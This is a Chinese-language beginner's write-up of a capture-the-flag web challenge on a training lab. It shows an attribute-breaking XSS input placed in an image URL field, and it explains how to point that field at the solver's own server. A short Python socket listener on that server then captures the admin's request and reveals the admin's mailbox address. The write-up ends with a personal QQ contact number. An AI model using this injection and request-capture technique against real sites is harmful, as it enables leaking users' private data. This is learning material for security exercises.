作为一个刚接触CTF的小萌新,记录一下自己的学习生活
首先是题目
美图闪亮亮交友平台
分值: 400
小明今年19了,看到比自己还小两岁的妹妹都已经有了小男朋友,因此他也想找个女朋友了,于是就来到了美图闪亮亮交友平台,但是他怎么也没想到,上面的妹纸都不理他,于是他只好想办法;最后,他登录到了管理员姑娘的网页版邮箱,发现管理员姑娘其实已经暗恋他已久,于是乎,他们开始了一段惊人的地下恋情。
通关地址
ps:出题的人一定是想妹纸想疯了
Tips: 邮箱没有xss漏洞
Tips: 管理员用的是手机wap邮箱,而且管理员的手机不支持Cookie(20150823)
通关地址点进去后是这样一个界面
首先按照我的习惯查看了一下源代码,发现有两个提示
<!-- 据说没有后台就不会被获取敏感信息,本题需要发散思维。当然也可能很简单 -->
<!-- 如果觉着sae网络有问题,就访问一下这个地址,传入url,看下能否到你的服务器 http://lab1.xseclab.com/xss4_730ee2b59ca3b71c25efa2147498b35e/test.php [POST] url=http://baidu.com/ -->
p.s. 刚开始觉得这个提示云里雾里的,但是等到最后得到flag的时候会觉得这个提示很到位啊·。·
然后就是一通操作,发现这个姓名和描述是没有限制的,但是图片url规定了输入的是一个url,类型可以抓包改或者直接改html。尝试了很多输入是可以注入xss的,比如
https://www.baidu.com/img/PCfb_5bf082d29588c07f842ccde3f97243ea.png" οnclick="alert(1)" "
不过既然在题目里都说了是没有xss漏洞的,所以就没有再继续了。
然后就陷入困境了-。-
后来去网上冲浪,看到了很多文章最后有了解法。
解题思路
既然没有后台,那么这个网站在显示图片的时候必然是通过管理员去访问图片所在的url来获取图片的(题目里也都给了提示),所以如果我们把图片的地址输入为我们自己服务器的地址,然后写一个程序去监听,那么不就可以获得这个管理员的邮箱了吗。
下面是具体操作:
我是用了python写的监听了我服务器的8889端口(不要忘记打开端口)代码
import socket
# 创建套接字
skt = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
# 设置地址可重用
skt.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 绑定主机和端口
skt.bind(('0.0.0.0', 8889))
# 监听服务
skt.listen(5)
if __name__ == '__main__':
while True:
print('waiting for connection...')
tcpCliSock, addr = skt.accept()
print('...connnecting from:', addr)
while True:
data = tcpCliSock.recv(1024)
if not data:
break
print(data)
tcpCliSock.close()
tcpSerSock.close()
首先先在服务器上运行代码
然后在图片url中输入服务器地址
接着点提交就会发现服务器上出现了数据包
最后访问这一个网址就可以找到flag了
如有错误望大家指正
交流qq:1020328970